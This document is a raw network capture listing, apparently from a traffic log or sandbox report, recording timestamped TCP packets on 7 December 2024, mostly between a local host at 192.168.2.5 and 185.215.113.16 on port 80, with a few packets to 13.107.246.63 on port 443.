Dec 7, 2024 08:43:51.808679104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.808820009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.809700966 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.809825897 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.809833050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.809870005 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.810787916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.810903072 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.810915947 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.810957909 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.811856031 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.811904907 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.811954975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.812021971 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.812905073 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.813025951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.938102961 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.938208103 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.938549995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.938607931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.938657999 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.939327955 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.939647913 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.939758062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.939805031 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.940737009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.940845013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.940973997 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.941782951 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.941884995 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.941927910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.941966057 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.942867994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.942962885 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.942974091 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.943327904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.943993092 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.944042921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.944160938 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.956295013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.956444979 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.956640005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.956741095 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.956868887 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.957046986 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.957096100 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.958002090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.958206892 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.958273888 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.959089994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.959103107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.959168911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.960108995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.960263014 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.961165905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.961232901 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.961271048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.962534904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.962625980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.962640047 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.963323116 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.963332891 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.963490963 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.963567019 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.964396000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.964529037 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.964628935 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.965483904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.965616941 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.965693951 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.966531992 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.966628075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.966720104 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.967614889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.967717886 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.967772961 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.968703985 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.968784094 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.968801022 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.969779968 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.969846010 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.969854116 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.970223904 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.970815897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.970911980 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.970968008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.971051931 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.971952915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.971976042 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.972028017 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.972028017 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.972999096 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.973115921 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.973175049 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.974066019 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.974132061 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.974165916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.974272013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.975128889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.975193024 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.975265980 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.976195097 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.976293087 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.976361036 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.977328062 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.977360964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.977417946 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.978370905 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.978476048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.978560925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.979418993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.979558945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.980506897 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.980617046 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.980654001 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.981560946 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.981659889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.981683016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.982687950 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.982738972 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.982744932 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.983324051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.983715057 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.983829975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.983885050 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.984791040 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.984908104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.984994888 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.986027956 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.986093998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.986149073 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.986926079 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.987004995 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.987081051 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.988008976 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.988109112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.989099026 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.989166975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.989202023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.990158081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.990207911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.990266085 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.991238117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.991287947 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.991347075 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.992398024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.992494106 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.992542028 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.993371964 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.993454933 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.993519068 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.994445086 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.994517088 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.994554996 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.995326996 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.995588064 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.995668888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.995724916 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.996623039 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.996733904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.996783018 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.997668982 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.997769117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.997816086 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.998760939 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.998898029 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:51.999017954 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:51.999846935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.000000954 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.000902891 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.000977039 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.001029015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.002024889 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.002063990 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.002121925 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.003076077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.003223896 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.003233910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.003328085 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.004117012 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.004256010 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.004349947 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.005170107 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.007328987 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.130136967 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.130212069 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.130358934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.130364895 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.130414963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.130475998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.130553007 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.131457090 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.131589890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.131661892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.132539034 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.132595062 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.132637024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.132699013 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.133591890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.133677006 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.133708000 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.133758068 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.134742975 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.134864092 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.134877920 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.134953976 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.135762930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.135879993 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.135950089 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.136789083 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.136848927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.148477077 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.148540020 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.148662090 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.148890018 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.148941040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.149000883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.149048090 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.150018930 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.150077105 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.150105953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.150149107 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.151060104 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.151103973 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.151151896 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.151194096 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.152185917 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.152241945 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.152415037 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.153211117 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.153295040 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.153317928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.153377056 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.154289961 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.154362917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.154391050 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.154438019 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.155376911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.155498028 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.155564070 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.156467915 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.156519890 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.156560898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.156625032 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.157548904 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.157799959 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.157907963 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.158569098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.158651114 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.158684015 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.158751965 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.159658909 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.159744978 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.159802914 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.160775900 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.160825014 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.160907030 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.160964012 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.161839008 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.161881924 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.161940098 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.161988974 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.162880898 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.162931919 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.162986040 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.163130045 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.163944006 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.164048910 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.164109945 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.165034056 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.165085077 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.165153027 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.165210009 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.166084051 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.166147947 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.166182041 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.166230917 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.167402983 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.167480946 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.167570114 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.168247938 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.168314934 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.168350935 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.168411970 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.169312954 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.169378042 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.169435024 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.169502020 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.170382023 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.170475960 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.170497894 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.170532942 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.171480894 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.171570063 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.171674967 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.172581911 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.172653913 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.172699928 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.172796011 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.173603058 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.173690081 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.173717022 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.173748016 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.174691916 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.174779892 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.174854994 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.174909115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.175807953 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.176028013 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.176103115 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.176884890 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.176944017 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.176950932 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.176995993 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.177942991 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.178039074 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.178046942 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.178112984 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.179025888 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.179080009 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.179112911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.179112911 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.179240942 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.179310083 CET	443	49801	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:52.180066109 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.180124998 CET	49801	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:52.180174112 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.180212975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.180212975 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.181133032 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.181233883 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.181291103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.182194948 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.182255983 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.182301998 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.182354927 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.183290005 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.183392048 CET	80	49795	185.215.113.16	192.168.2.5
Dec 7, 2024 08:43:52.183468103 CET	49795	80	192.168.2.5	185.215.113.16
Dec 7, 2024 08:43:52.184355974 CET	80	49795	185.215.113.16	192.168.2.5
